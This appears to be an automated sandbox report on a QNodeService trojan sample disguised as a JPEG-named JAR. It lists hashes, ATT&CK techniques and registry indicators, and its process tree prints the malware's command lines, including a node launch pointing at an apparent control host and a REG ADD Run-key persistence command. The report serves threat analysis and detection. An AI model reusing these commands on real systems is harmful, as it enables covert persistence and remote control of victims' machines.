qnodeservice | c5be24f2b7855a0caad13979c9e1192f36cd121108b488a134d6db67c37c2c6d

General

Target

Image_0076643387005313_JPEG.jar
Size

72KB
MD5

acbf2c54168796646a4f50d697f5b739
SHA1

a763accf3db141b6407630e6f7b070ef585d4048
SHA256

c5be24f2b7855a0caad13979c9e1192f36cd121108b488a134d6db67c37c2c6d
SHA512

3f1bbe41c8f09dd3d453c2029239b8553d246071da83bfb69c1e84d45bbd1a3806116032f840445de42f98478bfdf60bad053af355396dca9c0b6f84835ab653

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2160	node.exe
3132	node.exe
1520	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\c5d9954a-4ad5-4dcc-bc91-357a815c597d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000400000001a4dd-170.dat	js
behavioral2/files/0x000400000001a4dd-173.dat	js
behavioral2/files/0x000400000001a4dd-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	wtfismyip.com
36	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2160	node.exe
2160	node.exe
2160	node.exe
2160	node.exe
3132	node.exe
3132	node.exe
3132	node.exe
3132	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe
1520	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 3736	3984	java.exe	75
PID 3984 wrote to memory of 3736	3984	java.exe	75
PID 3736 wrote to memory of 2160	3736	javaw.exe	79
PID 3736 wrote to memory of 2160	3736	javaw.exe	79
PID 2160 wrote to memory of 3132	2160	node.exe	81
PID 2160 wrote to memory of 3132	2160	node.exe	81
PID 3132 wrote to memory of 1520	3132	node.exe	82
PID 3132 wrote to memory of 1520	3132	node.exe	82
PID 1520 wrote to memory of 1956	1520	node.exe	84
PID 1520 wrote to memory of 1956	1520	node.exe	84
PID 1956 wrote to memory of 1356	1956	cmd.exe	85
PID 1956 wrote to memory of 1356	1956	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Image_0076643387005313_JPEG.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\817de47a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2160
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_N2o2ni\boot.js --hub-domain ntums330.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3132
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_N2o2ni\boot.js --hub-domain ntums330.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c5d9954a-4ad5-4dcc-bc91-357a815c597d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1956
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c5d9954a-4ad5-4dcc-bc91-357a815c597d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1356

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1520-178-0x000001609BFC0000-0x000001609BFC1000-memory.dmp

Filesize
4KB

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memory/2160-171-0x000003EE4F100000-0x000003EE4F101000-memory.dmp

Filesize
4KB

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memory/3132-174-0x000000564AC40000-0x000000564AC41000-memory.dmp

Filesize
4KB

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